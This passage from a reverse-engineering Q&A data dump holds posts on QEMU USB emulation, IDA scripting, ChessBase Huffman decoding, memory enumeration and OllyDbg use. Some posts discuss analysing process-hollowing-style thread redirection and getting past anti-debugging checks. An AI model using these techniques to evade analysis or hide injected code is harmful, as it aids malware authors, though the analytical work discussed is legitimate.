'usb-ehci'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using the command line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo qemu-system-arm -M beaglexm -m 512 -serial stdio \&#xA;                     -nographic -monitor pty -usb -sd /dev/sdd \&#xA;                     -drive if=none,id=usbstick,file=/dev/sdb1 \&#xA;                     -device usb-ehci,id=ehci \&#xA;                     -device usb-storage,bus=ehci.0,drive=usbstick&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, the emulated system tries to load an &lt;code&gt;mmcsd&lt;/code&gt; driver and is looking for a raw &lt;code&gt;/dev/mmc0&lt;/code&gt;.   I have been unable to figure out how to get my SD card (or any other device) to show up with that mount name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for being able to get files off the emulated system?   I know that the system can use these two specific USB to ethernet adapters, but I don't have one.   Maybe I could simulate one of those?   My attempts at setting up a fake USB to serial connection also have failed.   Basically, anything that requires USB support I am unable to get working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what shows on the emulated QNX system when I query the usb host.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;USB 0 (OMAP3530) v1.10, v1.01 DDK, v1.01 HCD&#xA;USB 1 (EHCI) v1.10, v1.01 DDK, v1.01 HCD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="12103" LastEditorUserId="107" LastEditDate="2015-04-03T12:28:41.277" LastActivityDate="2015-04-03T12:28:41.277" Title="USB not showing up on QNX in Qemu" Tags="|usb|qemu|qnx|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8589" PostTypeId="1" AcceptedAnswerId="8591" CreationDate="2015-03-29T14:51:00.080" Score="0" ViewCount="825" Body="&lt;p&gt;During the analysis of a piece of code,  I have seen that a process is created in a suspended state. The process had one thread. Then they are changing the start address of that thread. After doing that,  the thread is started with ResumeThread(). Later, it closes the handle to the process using CloseHandle(). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question would be : Is it possible that the thread with the manipulated start address is still running after we close the handle to the corresponding process? Is the thread still running although the process to which it belongs is closed because of the changed starting address or will the thread also closed  automatically after CloseHandle(processhandle) ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-03-29T15:45:29.217" Title="Running thread without process - special case" Tags="|process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8590" PostTypeId="1" AcceptedAnswerId="8592" CreationDate="2015-03-29T15:24:53.180" Score="2" ViewCount="719" Body="&lt;p&gt;We all know that in typical programs, there exist some references. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ue99a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When compiling, linker will translate all the memory references into &lt;strong&gt;concrete memory addresses&lt;/strong&gt; during the symbol relocation step. And by doing some quick experiments (IDA-Pro 6.4), I notice that IDA-Pro can help to lift these memory addresses back into symbols. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I found that the symbolization functionality of IDA-Pro can be mislead by some cases. So what I am interested is to calculate how many references have been recovered by IDA-Pro. I am asking that is there anyway to obtain the information of &lt;strong&gt;&quot;how many memory references are recovered by IDA-Pro?&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks @Jason a lot for his answer, but what I am trying to do is not collect all the labels. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKc9B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please pay attention to the symbol &lt;code&gt;sub_80484AE&lt;/code&gt; in address &lt;code&gt;0x804a020&lt;/code&gt;. Note that the 4 byte data &lt;code&gt;0x08, 0x04, 0x84, 0xae&lt;/code&gt; in porocessed binary are considered as a symbol, as it is equal to the beginning address of function &lt;code&gt;sub_80484AE&lt;/code&gt;. This is true. However, as no instruction refers to the address &lt;code&gt;0x804A020&lt;/code&gt;, so there is no &lt;code&gt;name&lt;/code&gt; in address &lt;code&gt;0x804a020&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to collect is all the symbols with its corresponding address, for example, in the above case, I need to collect this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x804a018 : sub_804847b&#xA;0x804a01dc : _strchr&#xA;0x804a020 : sub_80484AE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I clear enough? I really appreciate if anyone can give me some help! Thank you a lot!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----------------------------------------------- update ---------------------------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I still not clear enough? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me put it in this way. Can I obtain all the symbol information which used to be resolved by linker? Say, in the picture I updated, during compiling linker resolved three symbols, at memory address 0x804a018, 0x804a01dc, 0x804a020. IDA-Pro recovers some of these information. So I want to collect all the IDA recovered symbol information (this information could be &lt;strong&gt;function name&lt;/strong&gt;, or it could be &lt;strong&gt;an entry of jump table&lt;/strong&gt;, or it could be a &lt;strong&gt;jump destination&lt;/strong&gt;, as I draw in the picture). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I want to recover the information in a format that each resolved symbol together with the memory address. For example in the picture, it should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x804a018 : sub_804847b&#xA;0x804a01dc : _strchr&#xA;0x804a020 : sub_80484AE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am thinking to traverse all the memory address of a binary, and check each the oprend of instruction (or content if it is in the data section), to see whether it is a recovered symbol or not. If so, I will store this symbol together with this instruction (or data)'s memory address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But basically how to check whether a oprend in a instruction is a symbol? &lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="3215" LastEditDate="2015-04-07T00:19:45.713" LastActivityDate="2015-04-07T00:19:45.713" Title="How can I obtain the data of how many memory references are symbolized by IDA-Pro?" Tags="|ida|symbols|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8591" PostTypeId="2" ParentId="8589" CreationDate="2015-03-29T15:45:29.217" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible that the thread with the manipulated start address is&#xA;  still running after we close the handle to the corresponding process?&#xA;  Is the thread still running although the process to which it belongs&#xA;  is closed because of the changed starting address or will the thread&#xA;  also closed automatically after CloseHandle(processhandle) ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. From &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;the official &lt;code&gt;CloseHandle()&lt;/code&gt; documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Closing a thread handle does &lt;strong&gt;not&lt;/strong&gt; terminate the associated thread or remove the thread object. Closing a process handle does &lt;strong&gt;not&lt;/strong&gt; terminate the associated process or remove the process object.&quot;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-29T15:45:29.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8592" PostTypeId="2" ParentId="8590" CreationDate="2015-03-29T16:06:13.983" Score="1" Body="&lt;p&gt;If I understand your question correctly, you're asking how many addresses have names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the following snippet, two of the addresses in the snippet have names (&lt;code&gt;loc_4385E4&lt;/code&gt; and &lt;code&gt;dword_4385F8&lt;/code&gt;), since both are cross-referenced from other addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004385E4 loc_4385E4:                             ; CODE XREF: sub_4254E0+1C0j&#xA;.text:004385E4                                         ; CODE XREF: sub_4254E0+1E6j&#xA;.text:004385E4                 push    ecx&#xA;.text:004385E5                 push    ecx&#xA;.text:004385E6                 push    0Eh&#xA;.text:004385E8                 pop     edx&#xA;.text:004385E9                 mov     ecx, offset dword_438618&#xA;.text:004385EE                 call    sub_4421A7&#xA;.text:004385F3                 jmp     loc_4256A6&#xA;.text:004385F3 ; END OF FUNCTION CHUNK FOR sub_4254E0&#xA;.text:004385F3 ; ---------------------------------------------------------------------------&#xA;.text:004385F8 dword_4385F8    dd 1000000Ah, 80204h, 10000h, 80010000h&#xA;.text:004385F8                                         ; DATA XREF: sub_4254E0+13092o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use the IDC script below to count all named addresses in your disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto ea;&#xA;auto names = 0;&#xA;&#xA;for (ea = BeginEA(); ea != BADADDR; ea = NextNotTail(ea))&#xA;{&#xA;    if (Name(ea) != &quot;&quot;)&#xA;    {&#xA;        names++;&#xA;    }&#xA;}&#xA;&#xA;Message(&quot;%d named addresses found.\n&quot;, names);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;​&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Edit&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The change you made to your original question now makes it sounds like you want to capture all function names. To do this, open the Functions window (in the menubar: &lt;em&gt;View&lt;/em&gt; → &lt;em&gt;Open subviews&lt;/em&gt; → &lt;em&gt;Functions&lt;/em&gt;), right-click in the Functions window, and choose &lt;em&gt;Copy all&lt;/em&gt;. You can now paste the list of function names into a text editor or spreadsheet.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-04-02T18:31:50.577" LastActivityDate="2015-04-02T18:31:50.577" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8593" PostTypeId="1" AcceptedAnswerId="8601" CreationDate="2015-03-29T17:10:07.170" Score="7" ViewCount="1668" Body="&lt;p&gt;I work on the reverse engineering of the ChessBase archive (.cbv).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the general structure of the file and can already decompress some files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see my current work &lt;a href=&quot;https://github.com/antoyo/uncbv&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some .cbv files that are bigger seems to use a second compression algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to find the first compression algorithm by debugging the &lt;a href=&quot;http://download.chessbase.com/Download/ChessBaseReader/Setup.msi&quot; rel=&quot;noreferrer&quot;&gt;ChessBase Reader 2013&lt;/a&gt; software, but I cannot make sense of the second compression algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried some tools like &lt;code&gt;signsrch&lt;/code&gt; to find out what algorithm was used without any luck: it seems to be a custom algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://en.chessbase.com/portals/4/files/news/2014/common/cbm/cbm163/CBM163D85.cbv&quot; rel=&quot;noreferrer&quot;&gt;file&lt;/a&gt; that I am able to partly decompress with my &lt;a href=&quot;https://github.com/antoyo/uncbv&quot; rel=&quot;noreferrer&quot;&gt;tool&lt;/a&gt; (my tool will print &lt;code&gt;What to do?&lt;/code&gt; when it detects that the unknown compression algorith was used).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea of what compression algorithm is used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, do you have any way of finding it by looking at the compressed file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to create archives so I can have files that are both compressed and not: I wonder if there is any way to find a compression pattern in such a situation.&lt;/p&gt;&#xA;" OwnerUserId="12104" LastActivityDate="2015-03-31T10:08:44.800" Title="Unknown decompression algorithm" Tags="|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8595" PostTypeId="2" ParentId="8572" CreationDate="2015-03-30T07:42:05.850" Score="0" Body="&lt;p&gt;I have added &lt;code&gt;Python&lt;/code&gt; script on a breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f = open('C:\\Users\\T3\\Desktop\\Count.txt', 'r+')&#xA;strData = f.readline()&#xA;n = int(strData)&#xA;n = n + 1&#xA;f.seek(0)&#xA;f.write(str(n))&#xA;f.close()&#xA;return 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Count&lt;/code&gt; file at the beginning contained &lt;code&gt;0&lt;/code&gt; but after execution it contains hit count.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This way has one drawback. File IO is slow, so registry counters may be used because it is stored in memory (that is only for Windows).&lt;/p&gt;&#xA;" OwnerUserId="8247" LastEditorUserId="8247" LastEditDate="2015-03-30T10:17:23.940" LastActivityDate="2015-03-30T10:17:23.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8597" PostTypeId="1" AcceptedAnswerId="8602" CreationDate="2015-03-30T12:34:20.613" Score="1" ViewCount="701" Body="&lt;p&gt;I have some questions about how to reach an address by bypassing a few hundred lines. Assume that we have the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                   + -----------------------+&#xA;          004019EF |                        |   &amp;lt;----- we are here&#xA;                   |   content of function  |&#xA;                   |   004019EF             |&#xA;                   |                        |&#xA;                   |                        |&#xA;                   +------------------------+&#xA;                   |                        |&#xA;                   |     this area contains |&#xA;                   |     lines which        |&#xA;                   |     I want to bypass   |&#xA;                   |     quickly            |&#xA;                   |                        |&#xA;                   +------------------------+&#xA;         00401E1F  |                        |     &amp;lt;-- we want to go here&#xA;                   |     content which I    |&#xA;                   |     want to analyze    |&#xA;                   |                        |&#xA;                   |                        |&#xA;                   +------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the situation is that I am for example at 004019EF and then I figured &#xA;out that the location at 00401E1F also seems to be important. And I decide to go there. For that reason, I click on Ctrl+G, type the target address and&#xA;set a breakpoint(clicking F2) at 00401E1F. Then I let it run. But the program doesn't reach the place. It terminates the process and ends at a location with RETN.&#xA;So, I started the process again. But this time, I step manually from line 004019EF to 00401E1F. On the way, I eliminate all the lines/instructions which leads to a termination by replacing them with a NOP instruction.&#xA;At the end, I reach the address 00401E1F.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question would be : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I replace instructions with a NOP or change the flags of jump-instructions to modify the execution flow of the programm, then will these modifications be a problem for the content of 00401E1F ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean can I say the following : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;These instructions causing problems, so deleting them with NOP would be unproblematic&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I going to miss some results of the area between 004019EF and 00401E1F which could be important for the content of 00401E1F ? &#xA;If yes, then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to bypass that lines to reach the target address without patching/changing lines or instructions? &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-03-30T17:09:33.727" Title="Reaching an address with ollydbg" Tags="|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8598" PostTypeId="1" AcceptedAnswerId="8599" CreationDate="2015-03-30T12:35:34.110" Score="0" ViewCount="821" Body="&lt;p&gt;I used some code to read the process memory using the MEMORY_BASE_INFORMATION a little while back using the information provided &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8297/proc-self-maps-equivalent-on-windows&quot;&gt;here&lt;/a&gt;. However, when I list out the regions in memory, only the pages with RW pages seem to be listed out. More importantly, none of the pages with executable permissions are listed out. How could I rectify this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it have something to do with the privilege at which the process runs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached a screenshot of the process memory in Ollydbg and what is printed out using the source below :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main() {&#xA;    HANDLE process = GetCurrentProcess();&#xA;&#xA;    MEMORY_BASIC_INFORMATION info;&#xA;    unsigned char *p = NULL;&#xA;&#xA;    for ( p = NULL;&#xA;          VirtualQueryEx(process, p, &amp;amp;info, sizeof(info)) == sizeof(info);&#xA;          p += info.RegionSize )&#xA;    {&#xA;        if (info.State == MEM_COMMIT &amp;amp;&amp;amp; (info.Type == MEM_MAPPED || info.Type == MEM_PRIVATE))&#xA;               printf(&quot;%08x %08x %08x\n&quot;, info.BaseAddress, info.RegionSize, info.Protect);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JXnKB.png&quot; alt=&quot;Output&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hXRIl.png&quot; alt=&quot;Ollydbg&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-03-30T14:07:34.813" Title="Reading the process memory yields different results" Tags="|windows|ollydbg|process|virtual-memory|pages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8599" PostTypeId="2" ParentId="8598" CreationDate="2015-03-30T14:03:03.180" Score="0" Body="&lt;p&gt;As far as I remember  MEM_MAPPED and MEM_PRIVATE are masks.&#xA;So it shouldn't be compared for equivalency, it should be checked as (val &amp;amp; MEM_PRIVATE) != 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your code should be corrected as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  int main() {&#xA;    HANDLE process = GetCurrentProcess();&#xA;&#xA;    MEMORY_BASIC_INFORMATION info;&#xA;    unsigned char *p = NULL;&#xA;&#xA;    for ( p = NULL;&#xA;          VirtualQueryEx(process, p, &amp;amp;info, sizeof(info)) == sizeof(info);&#xA;          p += info.RegionSize )&#xA;    {&#xA;        if ((info.State == MEM_COMMIT) &amp;amp;&amp;amp; ((info.Type &amp;amp; MEM_MAPPED) || (info.Type &amp;amp; MEM_PRIVATE)))&#xA;               printf(&quot;%08x %08x %08x\n&quot;, info.BaseAddress, info.RegionSize, info.Protect);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-03-30T14:03:03.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8600" PostTypeId="2" ParentId="8598" CreationDate="2015-03-30T14:07:34.813" Score="1" Body="&lt;p&gt;OllyDbg shows memory regions of all types, whereas your code doesn't show &lt;code&gt;MEM_IMAGE&lt;/code&gt; regions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;if ((info.State == MEM_COMMIT) &amp;amp;&amp;amp; ((info.Type &amp;amp; MEM_MAPPED) || (info.Type &amp;amp; MEM_PRIVATE)))&lt;/code&gt; with just &lt;code&gt;if (info.State == MEM_COMMIT)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-30T14:07:34.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8601" PostTypeId="2" ParentId="8593" CreationDate="2015-03-30T14:10:51.353" Score="8" Body="&lt;p&gt;After downloading ChessBase Reader and playing with ProcMon a bit to find the function that reads the archive and writes the data file, i loaded up the whole thing in IDA to analyze it. The data is &lt;a href=&quot;http://en.wikipedia.org/wiki/Huffman_coding&quot; rel=&quot;noreferrer&quot;&gt;Huffman-coded.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each data block has the following structure. Note that Huffman compression works with bits, not bytes, so each size in the following table is in bits as well. The block length is 16 bits, or 2 bytes, for example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+----------------------------------------------+&#xA;|                                              |&#xA;|16 bits - uncompressed block length (len)     |&#xA;|                                              |&#xA;+-----------+----------------------------------+&#xA;|           |                                  |&#xA;|Repeat     |  4 bits - length of entry (n)    |&#xA;|256        |                                  |&#xA;|times      +----------------------------------+&#xA;|           |                                  |&#xA;|one entry  |  n bits - tree left/right        |&#xA;|per byte   |  information for this byte       |&#xA;|(0-255)    |                                  |&#xA;|           |                                  |&#xA;+-----------+----------------------------------+&#xA;|                                              |&#xA;| Huffman encoded bit sequences. The number of |&#xA;| bits isn't stored anywhere, but the number   |&#xA;| of sequences, which is equal to the number   |&#xA;| of output bytes, is the block length (len)   |&#xA;|                                              |&#xA;+----------------------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming the word &quot;foobar&quot; was coded in this scheme, this would possibly  result in (i made up the bit values for the characters):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+----------------+&#xA;|Huffman code for|&#xA;|character   is  |&#xA;+--------+-------+&#xA;|        |       |&#xA;| o      |   0   |&#xA;| f      |   100 |&#xA;| b      |   101 |&#xA;| a      |   110 |&#xA;| r      |   111 |&#xA;|        |       |&#xA;+--------+-------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would result in the word foobar being coded as&#xA;&lt;code&gt;100 0 0 101 110 111&lt;/code&gt;. The length is 6 bytes, or &lt;code&gt;0000 0000 0000 0110&lt;/code&gt; in 16 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitarray for &lt;code&gt;foobar&lt;/code&gt;, formatted to the above table, would read&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000 0000 0000 0110                      (16 bit output length)&#xA;.....    array index   0 for byte '\0'&#xA;.....    array index   1 for byte '\1'&#xA;.....&#xA;0011 110 array index  97 for byte 'a'    (3 bits)&#xA;0011 101 array index  98 for byte 'b'    (3 bits)&#xA;.....&#xA;0011 100 array index 102 for byte 'f'    (3 bits)&#xA;.....&#xA;0001 0   array index 111 for byte 'o'    (1 bit)&#xA;.....&#xA;0011 101 array index 114 for byte 'r'    (3 bits)&#xA;.....                                    remaining bit combos - 255&#xA;&#xA;100 0 0 101 110 111                      foobar text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The implementation builds a binary tree from the code table. When it reads the data, it starts at the root of the tree; each bit moves down the tree, to the left or right, depending on the next bit value. When a leaf is reached, the corresponding byte is being output. This repeats until the length of the output stream is reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The related functions from the binary are these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BECAA0&lt;/code&gt;: decodes the archive data. Reads 16 bits for the length; then reads the encoding table into two arrays at offsets &lt;code&gt;080A&lt;/code&gt; (bits) and &lt;code&gt;0E10&lt;/code&gt; (bit lengths) within the decoder class. After this, call &lt;code&gt;BEC930&lt;/code&gt; to decode the data bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BEBF30&lt;/code&gt;: One parameter (number of bits), gets this many bits from the input array. At the end of the function, the word at offset &lt;code&gt;1014&lt;/code&gt; has these bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BEBAD0&lt;/code&gt;: Builds the tree from the arrays at &lt;code&gt;080A&lt;/code&gt; and &lt;code&gt;0E10&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BEC930&lt;/code&gt;: Calls &lt;code&gt;BEBAD0&lt;/code&gt; to build the tree, then reads the remaining bits from the input stream. Walks the tree for each bit; emits a byte when a leaf is found. At the end, calls &lt;code&gt;BEBA90&lt;/code&gt; to destroy the tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BEBA90&lt;/code&gt;: Recursively delete a node by deleting the left and right children, the the node itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think debugging the writer would be easier if you want to read the files; compression has a lot of logic and data structures, and knowing how 'one way' works doesn't neccesarily help you with the other way round. In this case, luckily, its a well known algorithm, but if the algorithm is unknown it can be quite hard to compress effectively if you just know how to decompress.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-03-31T10:08:44.800" LastActivityDate="2015-03-31T10:08:44.800" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8602" PostTypeId="2" ParentId="8597" CreationDate="2015-03-30T14:17:21.947" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Am I going to miss some results of the area between 004019EF and&#xA;  00401E1F which could be important for the content of 00401E1F ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's impossible to know if that code contains &lt;a href=&quot;http://en.wikipedia.org/wiki/Side_effect_%28computer_science%29&quot; rel=&quot;nofollow&quot;&gt;side effects&lt;/a&gt; without analyzing that code.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there another way to bypass that lines to reach the target address&#xA;  without patching/changing lines or instructions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you have two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change registers. The most straightforward approach would be to just change &lt;code&gt;EIP&lt;/code&gt;. This can of course be problematic though with regard to side effects.&lt;/li&gt;&#xA;&lt;li&gt;If the code before &lt;code&gt;00401E1F&lt;/code&gt; is executed conditionally, satisfy whatever conditions are required such that that code doesn't get executed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-30T14:17:21.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8605" PostTypeId="2" ParentId="8597" CreationDate="2015-03-30T17:09:33.727" Score="1" Body="&lt;p&gt;What Jason said. Consider this C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int size;&#xA;int nelem=1;&#xA;struct whatever *data;&#xA;if (debugger_is_running)&#xA;    nelem-=2;                 // pass an unreasonable value to malloc&#xA;size=sizeof (struct whatever)*nelem;&#xA;if ((data=malloc(size))==NULL)&#xA;    abort_program(&quot;No memory&quot;);&#xA;......&#xA;// use data here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's the &lt;code&gt;nelems-=2&lt;/code&gt; instruction you want to patch out. If you just &lt;code&gt;nop&lt;/code&gt; out the call to &lt;code&gt;abort_program&lt;/code&gt;, your data will still be a NULL pointer and cause the program to crash whenever you use it, much later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You really need to analyze everything between your code blocks, find out how the program detects the debugger, and change that piece of code.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-30T17:09:33.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8606" PostTypeId="2" ParentId="8568" CreationDate="2015-03-31T12:10:13.830" Score="13" Body="&lt;p&gt;You can use the special &lt;em&gt;&quot;'$' variables&quot;&lt;/em&gt; &lt;code&gt;$s&lt;/code&gt; to get the size of your binary, and pass it as an argument to the &lt;code&gt;pd&lt;/code&gt; command to disassemble the whole file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004048bf]&amp;gt; pd $s&#xA;Do you want to print 188.0K chars?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information on &lt;em&gt;'$' variables&lt;/em&gt; available see &lt;code&gt;?$?&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="22669" LastEditDate="2018-11-10T10:25:54.380" LastActivityDate="2018-11-10T10:25:54.380" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="8607" PostTypeId="1" AcceptedAnswerId="8608" CreationDate="2015-03-31T15:31:43.430" Score="0" ViewCount="1635" Body="&lt;p&gt;i am analyzing a piece of code in which the main thread does the following steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, it calls CreateProcess() to create a a process in suspended state. Then it changes the starting address of the thread by using a combination of GetThreadContext &amp;amp; SetThreadContext. The new start address of the thread is now 00401E1D. And at the end, it calls ResumeThread() start the thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what I did was: I set a BP at ResumeThread(), let it run, after hitting the BP I step over the ResumeThread()-function and open the window where all threads are listed by clicking on the big &quot;T&quot;-button in Ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is only the main thread, not the newly started thread. &#xA;And now I have a couple of questions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1st question: Why it is not in the list ?&#xA;&#xA; 2nd question: How can I find it?&#xA;&#xA; 3th question: &#xA; In the main thread, I can not step to 00401E1D &#xA; (starting address of the new thread) because ollydbg somehow &#xA;  terminates itself. Maybe there is some anti-debugging tricks or &#xA;  things like that. I do not know, because I did not analyze it 